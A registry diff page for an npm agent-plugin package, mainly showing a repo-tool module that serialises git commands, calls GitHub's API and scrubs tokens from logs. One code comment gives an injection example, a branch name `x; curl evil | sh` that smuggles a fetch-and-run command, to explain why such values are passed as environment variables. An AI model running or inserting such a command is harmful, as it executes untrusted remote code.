@dynamicagents/plugins 0.11.1 → 0.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +59 -79
- package/dist/browser/index.d.ts +0 -2
- package/dist/browser/index.js +21 -27
- package/dist/claude-code/cards.d.ts +53 -0
- package/dist/claude-code/cards.js +272 -0
- package/dist/claude-code/config.d.ts +73 -31
- package/dist/claude-code/config.js +0 -2
- package/dist/claude-code/credentials.d.ts +21 -9
- package/dist/claude-code/credentials.js +43 -9
- package/dist/claude-code/egress.d.ts +15 -14
- package/dist/claude-code/egress.js +51 -14
- package/dist/claude-code/events.d.ts +153 -9
- package/dist/claude-code/events.js +289 -58
- package/dist/claude-code/github.d.ts +39 -0
- package/dist/claude-code/github.js +82 -0
- package/dist/claude-code/index.d.ts +24 -80
- package/dist/claude-code/index.js +19 -234
- package/dist/claude-code/model.d.ts +152 -0
- package/dist/claude-code/model.js +342 -0
- package/dist/claude-code/run.d.ts +283 -92
- package/dist/claude-code/run.js +620 -114
- package/dist/claude-code/session.d.ts +131 -0
- package/dist/claude-code/session.js +285 -0
- package/dist/claude-code/spec.d.ts +46 -0
- package/dist/claude-code/spec.js +83 -0
- package/dist/claude-code/verified.d.ts +15 -0
- package/dist/claude-code/verified.js +15 -0
- package/dist/computer/context.d.ts +19 -0
- package/dist/computer/context.js +222 -0
- package/dist/computer/file-lock.d.ts +5 -0
- package/dist/computer/file-lock.js +40 -0
- package/dist/computer/gate.d.ts +12 -12
- package/dist/computer/gate.js +12 -12
- package/dist/computer/index.d.ts +57 -255
- package/dist/computer/index.js +98 -1039
- package/dist/computer/paths.d.ts +47 -22
- package/dist/computer/paths.js +64 -49
- package/dist/computer/proxy.d.ts +45 -0
- package/dist/computer/proxy.js +234 -0
- package/dist/computer/render.d.ts +27 -38
- package/dist/computer/render.js +32 -65
- package/dist/computer/tools-exec.d.ts +3 -0
- package/dist/computer/tools-exec.js +268 -0
- package/dist/computer/tools-file.d.ts +12 -0
- package/dist/computer/tools-file.js +64 -0
- package/dist/computer/tools-grep.d.ts +3 -0
- package/dist/computer/tools-grep.js +129 -0
- package/dist/repo/checkout.d.ts +35 -6
- package/dist/repo/checkout.js +64 -6
- package/dist/repo/context.d.ts +135 -0
- package/dist/repo/context.js +582 -0
- package/dist/repo/index.d.ts +79 -57
- package/dist/repo/index.js +118 -1112
- package/dist/repo/tools-checks.d.ts +3 -0
- package/dist/repo/tools-checks.js +112 -0
- package/dist/repo/tools-clone.d.ts +4 -0
- package/dist/repo/tools-clone.js +192 -0
- package/dist/repo/tools-pr.d.ts +14 -0
- package/dist/repo/tools-pr.js +196 -0
- package/dist/repo/tools-review.d.ts +12 -0
- package/dist/repo/tools-review.js +393 -0
- package/dist/repo/tools-worktree.d.ts +4 -0
- package/dist/repo/tools-worktree.js +305 -0
- package/dist/repo/tools-worktrees.d.ts +12 -0
- package/dist/repo/tools-worktrees.js +48 -0
- package/dist/repo/url.d.ts +2 -2
- package/dist/repo/url.js +7 -7
- package/dist/scratch/index.d.ts +4 -4
- package/dist/scratch/index.js +12 -11
- package/dist/{computer → workspace}/advisory.d.ts +33 -20
- package/dist/{computer → workspace}/advisory.js +32 -7
- package/dist/workspace/ca-trust.d.ts +95 -0
- package/dist/workspace/ca-trust.js +312 -0
- package/dist/workspace/container-deps.d.ts +54 -0
- package/dist/workspace/container-deps.js +224 -0
- package/dist/workspace/container-fault.d.ts +38 -0
- package/dist/workspace/container-fault.js +73 -0
- package/dist/workspace/exec.d.ts +94 -0
- package/dist/workspace/exec.js +153 -0
- package/dist/workspace/format.d.ts +36 -0
- package/dist/workspace/format.js +57 -0
- package/dist/workspace/git-host.d.ts +79 -0
- package/dist/workspace/git-host.js +226 -0
- package/dist/workspace/git-identity.d.ts +57 -0
- package/dist/workspace/git-identity.js +147 -0
- package/dist/workspace/index.d.ts +43 -47
- package/dist/workspace/index.js +52 -112
- package/dist/workspace/install-job.d.ts +121 -0
- package/dist/workspace/install-job.js +866 -0
- package/dist/{computer → workspace}/install.d.ts +15 -19
- package/dist/{computer → workspace}/install.js +8 -11
- package/dist/workspace/object.d.ts +502 -0
- package/dist/workspace/object.js +1427 -0
- package/dist/workspace/open.d.ts +95 -0
- package/dist/workspace/open.js +63 -0
- package/dist/workspace/read.d.ts +16 -0
- package/dist/workspace/read.js +22 -0
- package/dist/workspace/shell.d.ts +45 -0
- package/dist/workspace/shell.js +80 -0
- package/dist/workspace/sync.d.ts +111 -0
- package/dist/workspace/sync.js +124 -0
- package/dist/workspace/wake.d.ts +19 -0
- package/dist/workspace/wake.js +10 -0
- package/package.json +28 -42
- package/dist/arc-agi/analysis.d.ts +0 -336
- package/dist/arc-agi/analysis.js +0 -829
- package/dist/arc-agi/client.d.ts +0 -82
- package/dist/arc-agi/client.js +0 -113
- package/dist/arc-agi/game-tools.d.ts +0 -25
- package/dist/arc-agi/game-tools.js +0 -26
- package/dist/arc-agi/index.d.ts +0 -42
- package/dist/arc-agi/index.js +0 -175
- package/dist/arc-agi/main-agent.d.ts +0 -27
- package/dist/arc-agi/main-agent.js +0 -65
- package/dist/arc-agi/recipe.d.ts +0 -51
- package/dist/arc-agi/recipe.js +0 -100
- package/dist/arc-agi/scorecard.d.ts +0 -118
- package/dist/arc-agi/scorecard.js +0 -163
- package/dist/arc-agi/soul.d.ts +0 -40
- package/dist/arc-agi/soul.js +0 -90
- package/dist/arc-agi/store.d.ts +0 -154
- package/dist/arc-agi/store.js +0 -216
- package/dist/arc-agi/tools.d.ts +0 -36
- package/dist/arc-agi/tools.js +0 -576
- package/dist/arc-agi/types.d.ts +0 -212
- package/dist/arc-agi/types.js +0 -19
- package/dist/claude-code/recipe.d.ts +0 -53
- package/dist/claude-code/recipe.js +0 -100
- package/dist/computer/read.d.ts +0 -137
- package/dist/computer/read.js +0 -203
- package/dist/recall/index.d.ts +0 -99
- package/dist/recall/index.js +0 -171
- package/dist/triage/index.d.ts +0 -355
- package/dist/triage/index.js +0 -302
|
@@ -0,0 +1,582 @@
|
|
|
1
|
+
import { DEFAULT_ALLOWED_HOSTS, parseRepo, repoLocation } from "./url.js";
|
|
2
|
+
/**
|
|
3
|
+
* The machinery every repo tool closes over: the resolved config, the git
|
|
4
|
+
* runners, and the GitHub client.
|
|
5
|
+
*/
|
|
6
|
+
const DEFAULT_WORKDIR = "/workspace";
|
|
7
|
+
const DEFAULT_API_BASE = "https://api.github.com";
|
|
8
|
+
const DEFAULT_AUTHOR = {
|
|
9
|
+
name: "da-coder",
|
|
10
|
+
email: "coder@dynamicagents.invalid"
|
|
11
|
+
};
|
|
12
|
+
const DEFAULT_MAX_OUTPUT_CHARS = 16_000;
|
|
13
|
+
/**
|
|
14
|
+
* Ceiling on every call this plugin makes to GitHub's API.
|
|
15
|
+
*
|
|
16
|
+
* Not configurable, because it is not a tuning knob: it exists so an API that
|
|
17
|
+
* stops answering costs a tool call rather than the task. These are single small
|
|
18
|
+
* requests, and thirty seconds is already generous for one.
|
|
19
|
+
*/
|
|
20
|
+
const GITHUB_TIMEOUT_MS = 30_000;
|
|
21
|
+
/**
|
|
22
|
+
* How many items one GitHub list call asks for. GitHub's maximum, and its default
|
|
23
|
+
* without this is 30.
|
|
24
|
+
*
|
|
25
|
+
* One page, never a Link-header walk: an unbounded fetch loop does not belong
|
|
26
|
+
* inside a model turn, and the render is bounded by `maxOutputChars` anyway. What
|
|
27
|
+
* matters is that a full page is *reported* as possibly partial rather than
|
|
28
|
+
* presented as the whole answer — a pull request's newest review comments are on
|
|
29
|
+
* the last page, and those are exactly the ones an agent was sent to act on.
|
|
30
|
+
*/
|
|
31
|
+
export const GITHUB_PAGE_SIZE = 100;
|
|
32
|
+
/**
|
|
33
|
+
* Where GraphQL lives, given where REST does.
|
|
34
|
+
*
|
|
35
|
+
* On github.com they share an origin and `/graphql` hangs off it. On GitHub
|
|
36
|
+
* Enterprise — which {@link RepoConfig.apiBase} exists for — REST is under
|
|
37
|
+
* `/api/v3` and GraphQL is its **sibling** at `/api/graphql`, not a path beneath
|
|
38
|
+
* it. Appending blindly yields `/api/v3/graphql`, which is a 404 on every
|
|
39
|
+
* Enterprise install and no failure at all on the public API, so the mistake
|
|
40
|
+
* survives every test written against github.com.
|
|
41
|
+
*/
|
|
42
|
+
export function graphqlEndpoint(apiBase) {
|
|
43
|
+
const trimmed = apiBase.replace(/\/+$/, "");
|
|
44
|
+
const enterprise = trimmed.replace(/\/api\/v3$/, "/api/graphql");
|
|
45
|
+
return enterprise === trimmed ? `${trimmed}/graphql` : enterprise;
|
|
46
|
+
}
|
|
47
|
+
/**
|
|
48
|
+
* Middle-out truncation, so both the head of a diff and its tail survive.
|
|
49
|
+
*
|
|
50
|
+
* Deliberately a **copy** of `/workspace`'s function of the same name, not an
|
|
51
|
+
* import. `npm run verify:exports` fails any subpath whose module graph
|
|
52
|
+
* reaches a sibling's directory, and its own advice for a shared helper is to
|
|
53
|
+
* duplicate it — installing `repo` must not drag `/workspace` (and therefore
|
|
54
|
+
* `@cloudflare/computer`) into a consumer's bundle. Fifteen lines is a cheaper
|
|
55
|
+
* price than that coupling, and it is the same reason `exec` is injected here
|
|
56
|
+
* rather than imported.
|
|
57
|
+
*
|
|
58
|
+
* The `half < 1` guard is not padding: without it a small `max` makes `half`
|
|
59
|
+
* zero or negative, and `slice(-0)` is `slice(0)` — the whole string — so the
|
|
60
|
+
* function would return *more* than it was given.
|
|
61
|
+
*/
|
|
62
|
+
export function truncateOutput(text, max) {
|
|
63
|
+
if (text.length <= max)
|
|
64
|
+
return text;
|
|
65
|
+
const marker = (dropped) => `\n\n… [${dropped} characters omitted from the middle] …\n\n`;
|
|
66
|
+
const half = Math.floor((max - marker(text.length).length) / 2);
|
|
67
|
+
if (half < 1)
|
|
68
|
+
return text.slice(0, Math.max(0, max));
|
|
69
|
+
return (text.slice(0, half) + marker(text.length - half * 2) + text.slice(-half));
|
|
70
|
+
}
|
|
71
|
+
/**
|
|
72
|
+
* What to tell the model when the plumbing, not the command, is the problem.
|
|
73
|
+
*
|
|
74
|
+
* A sibling of the computer plugin's `execLostNote` rather than an import, for
|
|
75
|
+
* the same reason {@link truncateOutput} is a copy: `verify:exports` fails any
|
|
76
|
+
* subpath whose module graph reaches a sibling's, and installing `repo` must
|
|
77
|
+
* not drag `/computer` in behind it. The wording differs anyway, and the
|
|
78
|
+
* difference is the point — that plugin cannot know the lost command was git,
|
|
79
|
+
* and this one does. What a model needs after a lost `git push` is not "re-run
|
|
80
|
+
* it" but whether re-running it is *safe*.
|
|
81
|
+
*/
|
|
82
|
+
function unreachableNote(err) {
|
|
83
|
+
if (err?.code === "EEXEC_LOST") {
|
|
84
|
+
return ("the container was replaced while this command was running, so nothing here " +
|
|
85
|
+
"is known to have finished. This is infrastructure — not git, and not what " +
|
|
86
|
+
"you asked for. The checkout is durable and is exactly as you left it. " +
|
|
87
|
+
"Retry, and read what the retry says rather than assuming it starts from " +
|
|
88
|
+
"nothing: a command that had already reached GitHub may have taken " +
|
|
89
|
+
"effect. Retrying is safe either way — these commands push one branch to " +
|
|
90
|
+
"the branch of the same name, and never force.");
|
|
91
|
+
}
|
|
92
|
+
return (`the command could not be run: ${String(err)}. This is the plumbing — the ` +
|
|
93
|
+
`container, the transport to it, or the host's own configuration — rather ` +
|
|
94
|
+
`than git or anything you passed, and nothing is known to have completed. ` +
|
|
95
|
+
`Retry once; if it happens again, say so in your result rather than working ` +
|
|
96
|
+
`around it.`);
|
|
97
|
+
}
|
|
98
|
+
/**
|
|
99
|
+
* One git command at a time, per plugin instance.
|
|
100
|
+
*
|
|
101
|
+
* Git takes `.git/index.lock` for anything that writes and fails outright rather
|
|
102
|
+
* than waiting if it is already held. A model may emit several tool calls in one
|
|
103
|
+
* turn and the SDK runs them concurrently, so unserialised a `repo_commit` and a
|
|
104
|
+
* `repo_push` race: the commit fails, the push succeeds against the previous
|
|
105
|
+
* state, and the turn reports work that never landed.
|
|
106
|
+
*
|
|
107
|
+
* Held here rather than in {@link repoContext}'s closure, because that closure
|
|
108
|
+
* is too short-lived to be the boundary. The tools are built for every turn, and
|
|
109
|
+
* a sub-agent builds its own from the same config, so a per-call queue leaves a
|
|
110
|
+
* sub-agent racing its parent over one checkout — the same collision, one level
|
|
111
|
+
* up. The config object is the plugin instance, and a `WeakMap` means a
|
|
112
|
+
* discarded agent takes its queue with it.
|
|
113
|
+
*
|
|
114
|
+
* A promise chain rather than a lock, because that is all the scope needs: one
|
|
115
|
+
* isolate, one container. Reads are serialised too — `git status` does not take
|
|
116
|
+
* the lock, but ordering costs nothing at these durations and removes having to
|
|
117
|
+
* be right about which commands write.
|
|
118
|
+
*
|
|
119
|
+
* ## The unit is a command, not a tool call
|
|
120
|
+
*
|
|
121
|
+
* Worth stating exactly, because the name suggests more. What is guaranteed is
|
|
122
|
+
* that no two git commands run at once, which is what `.git/index.lock` needs.
|
|
123
|
+
* What is *not* guaranteed is that one tool's sequence is atomic: `repo_push`
|
|
124
|
+
* issues nine commands and `repo_commit` two, and another tool's command can be
|
|
125
|
+
* dequeued between any of them. The shape to watch for is a branch switch landing
|
|
126
|
+
* inside another tool's work —
|
|
127
|
+
*
|
|
128
|
+
* repo_commit: git add -A
|
|
129
|
+
* repo_push: git checkout -b coder/x ← interleaves here
|
|
130
|
+
* repo_commit: git commit -m "…" ← lands on coder/x
|
|
131
|
+
*
|
|
132
|
+
* — because the checked-out branch is state the whole checkout shares, so only
|
|
133
|
+
* concurrent *mutating* tools can disturb it. Both calls report success.
|
|
134
|
+
*
|
|
135
|
+
* Accepted rather than closed, because reaching it takes two repo tool calls in
|
|
136
|
+
* flight against one checkout from one agent, and that is not how the coder
|
|
137
|
+
* drives them. If it is ever observed, the fix is to take the lock once around
|
|
138
|
+
* each tool body instead of around each command — which means the runners below
|
|
139
|
+
* must stop taking it themselves, since a nested take on a promise chain waits
|
|
140
|
+
* on a tail its own caller is still holding.
|
|
141
|
+
*/
|
|
142
|
+
const gitQueues = new WeakMap();
|
|
143
|
+
/**
|
|
144
|
+
* How long one command may hold its checkout's queue.
|
|
145
|
+
*
|
|
146
|
+
* A command whose container or host never answers — a workspace object that
|
|
147
|
+
* reset under it — would otherwise hold every git command behind it for the life
|
|
148
|
+
* of the isolate. Past this the command is reported unreachable and the queue
|
|
149
|
+
* moves on. It may still be running; a later command that meets its
|
|
150
|
+
* `index.lock` fails fast and says so. Far longer than any git command here
|
|
151
|
+
* takes.
|
|
152
|
+
*/
|
|
153
|
+
const GIT_SLOT_MS = 8 * 60_000;
|
|
154
|
+
/** `work`, rejected once {@link GIT_SLOT_MS} passes without it settling. */
|
|
155
|
+
function withinSlot(work) {
|
|
156
|
+
let timer;
|
|
157
|
+
const expired = new Promise((_resolve, reject) => {
|
|
158
|
+
timer = setTimeout(() => reject(new Error(`no answer within ${GIT_SLOT_MS / 60_000} minutes, and it may still be running`)), GIT_SLOT_MS);
|
|
159
|
+
});
|
|
160
|
+
// The loser still settles, and a rejection nobody holds fails the request.
|
|
161
|
+
work.catch(() => { });
|
|
162
|
+
return Promise.race([work, expired]).finally(() => clearTimeout(timer));
|
|
163
|
+
}
|
|
164
|
+
/**
|
|
165
|
+
* How long an action that calls GitHub may run before Think gives up on it.
|
|
166
|
+
*
|
|
167
|
+
* An action's default is thirty seconds, which is {@link GITHUB_TIMEOUT_MS}
|
|
168
|
+
* alone — and a thread reply is three GitHub calls, after an `origin` read that
|
|
169
|
+
* waits its turn in the git queue.
|
|
170
|
+
*/
|
|
171
|
+
export const GITHUB_ACTION_TIMEOUT_MS = 120_000;
|
|
172
|
+
/**
|
|
173
|
+
* The task an action runs for, which leads its idempotency key.
|
|
174
|
+
*
|
|
175
|
+
* Think replays a settled key for as long as it keeps the row
|
|
176
|
+
* (`actionLedgerRetention`), so a key without the task would replay, not post,
|
|
177
|
+
* the same comment in a later task. Every turn core runs carries a task id, so
|
|
178
|
+
* a missing one is a wiring fault — and keying without it would be the silent
|
|
179
|
+
* version of that fault.
|
|
180
|
+
*/
|
|
181
|
+
export function actionTask(ctx) {
|
|
182
|
+
const task = ctx.agent.activeTurnMetadata?.taskId;
|
|
183
|
+
if (typeof task !== "string")
|
|
184
|
+
throw new Error("this turn carries no task id, so a GitHub write cannot be keyed to it — " +
|
|
185
|
+
"the repo plugin's actions run only in turns core started for a task");
|
|
186
|
+
return task;
|
|
187
|
+
}
|
|
188
|
+
/** A hex SHA-256, so a key names a body without carrying it. */
|
|
189
|
+
export async function sha256(text) {
|
|
190
|
+
const digest = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(text));
|
|
191
|
+
return [...new Uint8Array(digest)]
|
|
192
|
+
.map((byte) => byte.toString(16).padStart(2, "0"))
|
|
193
|
+
.join("");
|
|
194
|
+
}
|
|
195
|
+
export function repoContext(config,
|
|
196
|
+
/**
|
|
197
|
+
* The running sub-agent's `runtime()`, read per command. Forwarded to every
|
|
198
|
+
* `exec`; see {@link RepoExec}'s `runtime` option.
|
|
199
|
+
*/
|
|
200
|
+
runtime = () => undefined) {
|
|
201
|
+
const workdir = config.workdir ?? DEFAULT_WORKDIR;
|
|
202
|
+
const apiBase = config.apiBase ?? DEFAULT_API_BASE;
|
|
203
|
+
const graphqlUrl = graphqlEndpoint(apiBase);
|
|
204
|
+
const author = config.author ?? DEFAULT_AUTHOR;
|
|
205
|
+
const allowedHosts = config.allowedHosts ?? DEFAULT_ALLOWED_HOSTS;
|
|
206
|
+
const maxChars = config.maxOutputChars ?? DEFAULT_MAX_OUTPUT_CHARS;
|
|
207
|
+
/** Everything this plugin hands back to the model, bounded. */
|
|
208
|
+
const bounded = (text) => truncateOutput(text, maxChars);
|
|
209
|
+
/**
|
|
210
|
+
* Tell the host a checkout is ready, and never let that fail the clone.
|
|
211
|
+
*
|
|
212
|
+
* The clone did succeed. Whatever the host wanted to do next — start an
|
|
213
|
+
* install, usually — is its problem to notice, and turning a working
|
|
214
|
+
* `repo_clone` into an error would send the model to investigate git when
|
|
215
|
+
* git is fine.
|
|
216
|
+
*/
|
|
217
|
+
const notifyCheckout = async (checkout) => {
|
|
218
|
+
if (!config.afterCheckout)
|
|
219
|
+
return;
|
|
220
|
+
try {
|
|
221
|
+
await config.afterCheckout(checkout);
|
|
222
|
+
}
|
|
223
|
+
catch (err) {
|
|
224
|
+
console.error("[repo] afterCheckout failed", {
|
|
225
|
+
dir: checkout.dir,
|
|
226
|
+
repo: checkout.repo,
|
|
227
|
+
err: String(err)
|
|
228
|
+
});
|
|
229
|
+
}
|
|
230
|
+
};
|
|
231
|
+
/**
|
|
232
|
+
* The GitHub credential, or the reason there is none.
|
|
233
|
+
*
|
|
234
|
+
* `config.token` is the host's thunk, and an unresolvable secret throws at the
|
|
235
|
+
* moment of use rather than at startup. Every caller here has a sentence to
|
|
236
|
+
* return, so a throw becomes a value: the one place that must never throw is
|
|
237
|
+
* {@link logFailure}, which runs on the path where an unreadable token is a
|
|
238
|
+
* likely reason to be there at all.
|
|
239
|
+
*/
|
|
240
|
+
const credential = () => {
|
|
241
|
+
try {
|
|
242
|
+
return { token: config.token() };
|
|
243
|
+
}
|
|
244
|
+
catch (err) {
|
|
245
|
+
return {
|
|
246
|
+
failure: `the GitHub credential could not be read: ${String(err)}. That is the ` +
|
|
247
|
+
`host's configuration rather than anything you passed — report it ` +
|
|
248
|
+
`rather than working around it.`
|
|
249
|
+
};
|
|
250
|
+
}
|
|
251
|
+
};
|
|
252
|
+
/**
|
|
253
|
+
* Say out loud that a git command failed.
|
|
254
|
+
*
|
|
255
|
+
* A failure path that returns its stderr only to the model is one audience
|
|
256
|
+
* short: a `git push` exiting 128 leaves nothing behind but an `exec` line and
|
|
257
|
+
* a truncated command, and proving whether the branch landed then means asking
|
|
258
|
+
* the GitHub API. One line naming the tool and carrying the stderr answers it
|
|
259
|
+
* directly.
|
|
260
|
+
*
|
|
261
|
+
* At `error`, because `--level error` is what an operator narrows to once a
|
|
262
|
+
* task has gone wrong and this is a thing that went wrong. A `warn` sits
|
|
263
|
+
* outside that filter, which leaves a failed clone invisible to the first pass
|
|
264
|
+
* of an investigation and findable only by timestamp.
|
|
265
|
+
*
|
|
266
|
+
* The token is scrubbed rather than trusted. It has no route into a container
|
|
267
|
+
* command, and the one channel that could carry it is the GitHub API's error
|
|
268
|
+
* body, which {@link github} logs through this same function. So stderr *should*
|
|
269
|
+
* be clean — but "should be" is not the standard for something that writes a
|
|
270
|
+
* credential into a log that outlives the request, and the scrub costs a
|
|
271
|
+
* `split`/`join` on a path that already failed.
|
|
272
|
+
*/
|
|
273
|
+
const logFailure = (tool, detail) => {
|
|
274
|
+
// Nothing to scrub is not a problem: the log is written either way, and
|
|
275
|
+
// what it carries is whatever the command produced.
|
|
276
|
+
const secret = credential();
|
|
277
|
+
const token = "token" in secret ? secret.token : "";
|
|
278
|
+
const scrub = (text) => token && text ? text.split(token).join("«token»") : text;
|
|
279
|
+
console.error(`[repo] ${tool} failed`, {
|
|
280
|
+
exitCode: detail.exitCode,
|
|
281
|
+
stderr: truncateOutput(scrub(detail.stderr) ?? "", 2_000),
|
|
282
|
+
stdout: truncateOutput(scrub(detail.stdout) ?? "", 2_000)
|
|
283
|
+
});
|
|
284
|
+
};
|
|
285
|
+
// Keyed on the config object, which is what identifies the plugin instance:
|
|
286
|
+
// `repo(config)` closes over exactly one and hands the same one to every build.
|
|
287
|
+
const queue = gitQueues.get(config) ?? { tail: Promise.resolve() };
|
|
288
|
+
gitQueues.set(config, queue);
|
|
289
|
+
const serialised = (run) => {
|
|
290
|
+
// `then(run, run)` so one failure does not wedge every command behind it —
|
|
291
|
+
// the queue is for ordering, not for propagating outcomes.
|
|
292
|
+
const next = queue.tail.then(run, run);
|
|
293
|
+
queue.tail = next.then(() => undefined, () => undefined);
|
|
294
|
+
return next;
|
|
295
|
+
};
|
|
296
|
+
/**
|
|
297
|
+
* Every container command this plugin runs, and the only place `exec` is
|
|
298
|
+
* allowed to throw.
|
|
299
|
+
*
|
|
300
|
+
* `options` is a thunk rather than a value so that everything it reads — the
|
|
301
|
+
* token above all — is read here, inside the `try` and at the moment the queue
|
|
302
|
+
* actually dequeues this command. Building it at the call site would put a
|
|
303
|
+
* rotated secret's lookup, and any throw from it, outside the one handler.
|
|
304
|
+
*/
|
|
305
|
+
const run = (command, options) => serialised(async () => {
|
|
306
|
+
try {
|
|
307
|
+
return await withinSlot(config.exec(command, options()));
|
|
308
|
+
}
|
|
309
|
+
catch (err) {
|
|
310
|
+
// Logged here as well as by the tool's own failure branch: the two say
|
|
311
|
+
// different things, and this is the one that names the command. The
|
|
312
|
+
// command string is safe to log — that it never carries the token is the
|
|
313
|
+
// invariant this whole file is built on, and it has a test.
|
|
314
|
+
console.warn("[repo] command could not run", {
|
|
315
|
+
command: truncateOutput(command, 500),
|
|
316
|
+
err: String(err)
|
|
317
|
+
});
|
|
318
|
+
return {
|
|
319
|
+
success: false,
|
|
320
|
+
stdout: "",
|
|
321
|
+
stderr: unreachableNote(err),
|
|
322
|
+
exitCode: -1,
|
|
323
|
+
unreachable: true
|
|
324
|
+
};
|
|
325
|
+
}
|
|
326
|
+
});
|
|
327
|
+
/**
|
|
328
|
+
* A container command with no secret in its environment.
|
|
329
|
+
*
|
|
330
|
+
* `vars` carries every **model-controlled** value — a branch name, a commit
|
|
331
|
+
* message — into the container as an environment variable, referenced inside
|
|
332
|
+
* the command as `"$VAR"`. Interpolating them into the command string instead
|
|
333
|
+
* would let a model-authored branch name of `x; curl evil | sh` run as a
|
|
334
|
+
* second command. The container is isolated and the blast radius is its own
|
|
335
|
+
* filesystem, but "the container contains it" is a reason to be careful here,
|
|
336
|
+
* not a reason to skip it.
|
|
337
|
+
*
|
|
338
|
+
* `GIT_TERMINAL_PROMPT=0` is passed on every command rather than left to the
|
|
339
|
+
* image: a command inherits only a small allowlist from the daemon, so a
|
|
340
|
+
* variable that is not passed here does not reach git at all — and one that
|
|
341
|
+
* does not reach git is a prompt nobody can answer, on a terminal that does
|
|
342
|
+
* not exist.
|
|
343
|
+
*/
|
|
344
|
+
const shell = (script, cwd, vars = {}) => run(script, () => ({
|
|
345
|
+
cwd,
|
|
346
|
+
runtime: runtime(),
|
|
347
|
+
env: { GIT_TERMINAL_PROMPT: "0", ...vars }
|
|
348
|
+
}));
|
|
349
|
+
const plain = (args, cwd, vars = {}) => shell(`git ${args}`, cwd, vars);
|
|
350
|
+
/**
|
|
351
|
+
* Run one credentialed operation, on the host's side of the boundary.
|
|
352
|
+
*
|
|
353
|
+
* The sibling of {@link run}, for the same reason: every tool below already
|
|
354
|
+
* has a `!success` branch that says what it was doing at the time. What differs
|
|
355
|
+
* is where a failure can come from.
|
|
356
|
+
*
|
|
357
|
+
* {@link file://./index.ts RepoGit} reports a *git* failure as data — a
|
|
358
|
+
* rejected push, a branch that does not resolve — so that becomes an ordinary
|
|
359
|
+
* unsuccessful result. A throw means the host could not be reached at all,
|
|
360
|
+
* which is the `unreachable` case: nothing ran, and three places in this file
|
|
361
|
+
* read that differently from an answer.
|
|
362
|
+
*
|
|
363
|
+
* Serialised with the container commands rather than merely alongside them. A
|
|
364
|
+
* fetch writes refs into the same checkout a `git status` is reading, and the
|
|
365
|
+
* two interleaving is exactly the race `serialised` exists to prevent — the
|
|
366
|
+
* fact that one of them now runs somewhere else does not change that they
|
|
367
|
+
* share a filesystem.
|
|
368
|
+
*/
|
|
369
|
+
const runGit = (op) => serialised(async () => {
|
|
370
|
+
try {
|
|
371
|
+
const result = await withinSlot(op());
|
|
372
|
+
return result.ok
|
|
373
|
+
? { success: true, stdout: result.detail, stderr: "", exitCode: 0 }
|
|
374
|
+
: { success: false, stdout: "", stderr: result.message, exitCode: 1 };
|
|
375
|
+
}
|
|
376
|
+
catch (err) {
|
|
377
|
+
// Logged here as well as by the tool's own failure branch, the same way
|
|
378
|
+
// `run` does it: this is the line that names the operation as git's
|
|
379
|
+
// rather than the container's, which is the first thing worth knowing.
|
|
380
|
+
console.warn("[repo] a credentialed git operation could not run", {
|
|
381
|
+
err: String(err)
|
|
382
|
+
});
|
|
383
|
+
return {
|
|
384
|
+
success: false,
|
|
385
|
+
stdout: "",
|
|
386
|
+
stderr: unreachableNote(err),
|
|
387
|
+
exitCode: -1,
|
|
388
|
+
unreachable: true
|
|
389
|
+
};
|
|
390
|
+
}
|
|
391
|
+
});
|
|
392
|
+
/**
|
|
393
|
+
* Update the checkout's remote-tracking refs.
|
|
394
|
+
*
|
|
395
|
+
* The allowlist travels with the call rather than being checked once here,
|
|
396
|
+
* because the host is where the token actually is: it can bind the check to
|
|
397
|
+
* the moment the credential would be handed over, which catches a host reached
|
|
398
|
+
* by redirect as well as one named in the URL.
|
|
399
|
+
*/
|
|
400
|
+
const fetchOrigin = (dir, url) => runGit(() => config.git.fetch({ url, dir, allowedHosts }));
|
|
401
|
+
/** Push one branch to the same-named branch on the remote. Never forced. */
|
|
402
|
+
const pushBranch = (dir, url, branch) => runGit(() => config.git.push({ url, dir, branch, allowedHosts }));
|
|
403
|
+
/**
|
|
404
|
+
* One call to GitHub's API, from the Worker.
|
|
405
|
+
*
|
|
406
|
+
* Every tool here that talks to GitHub goes through this, so the credential
|
|
407
|
+
* stays on the Worker's side of the boundary and the bound, the header set and
|
|
408
|
+
* the refusal to let an unreadable body replace an explanatory status are
|
|
409
|
+
* written once.
|
|
410
|
+
*
|
|
411
|
+
* A failure comes back as a value rather than a throw, because each caller has
|
|
412
|
+
* its own sentence to add: a POST whose answer never arrived may have been
|
|
413
|
+
* received, which a GET has no reason to warn about.
|
|
414
|
+
*/
|
|
415
|
+
const github = (tool, path, init) => githubAt(tool, `${apiBase}${path}`, init);
|
|
416
|
+
/**
|
|
417
|
+
* The same call, against a URL rather than a path under {@link apiBase}.
|
|
418
|
+
*
|
|
419
|
+
* GraphQL needs it: on Enterprise the REST base carries `/api/v3` and GraphQL
|
|
420
|
+
* does not live under it — see {@link graphqlEndpoint}.
|
|
421
|
+
*/
|
|
422
|
+
const githubAt = async (tool, url, init) => {
|
|
423
|
+
const secret = credential();
|
|
424
|
+
if ("failure" in secret) {
|
|
425
|
+
logFailure(tool, { stderr: secret.failure });
|
|
426
|
+
return { ok: false, message: secret.failure };
|
|
427
|
+
}
|
|
428
|
+
let response;
|
|
429
|
+
try {
|
|
430
|
+
response = await fetch(url, {
|
|
431
|
+
method: init?.method ?? "GET",
|
|
432
|
+
headers: {
|
|
433
|
+
authorization: `Bearer ${secret.token}`,
|
|
434
|
+
accept: "application/vnd.github+json",
|
|
435
|
+
"content-type": "application/json",
|
|
436
|
+
"user-agent": "da-coder"
|
|
437
|
+
},
|
|
438
|
+
...(init ? { body: JSON.stringify(init.body) } : {}),
|
|
439
|
+
signal: AbortSignal.timeout(GITHUB_TIMEOUT_MS)
|
|
440
|
+
});
|
|
441
|
+
}
|
|
442
|
+
catch (err) {
|
|
443
|
+
logFailure(tool, { stderr: String(err) });
|
|
444
|
+
return { ok: false, message: `could not reach ${url}: ${String(err)}` };
|
|
445
|
+
}
|
|
446
|
+
if (!response.ok) {
|
|
447
|
+
const detail = await response.text().catch(() => "");
|
|
448
|
+
logFailure(tool, { exitCode: response.status, stderr: detail });
|
|
449
|
+
return {
|
|
450
|
+
ok: false,
|
|
451
|
+
message: `${url} answered ${response.status}: ${detail.slice(0, 500)}`
|
|
452
|
+
};
|
|
453
|
+
}
|
|
454
|
+
return { ok: true, data: await response.json().catch(() => ({})) };
|
|
455
|
+
};
|
|
456
|
+
/**
|
|
457
|
+
* One GraphQL query or mutation, over {@link github} so the credential, the
|
|
458
|
+
* bound, the headers and the scrubbed failure log stay written once.
|
|
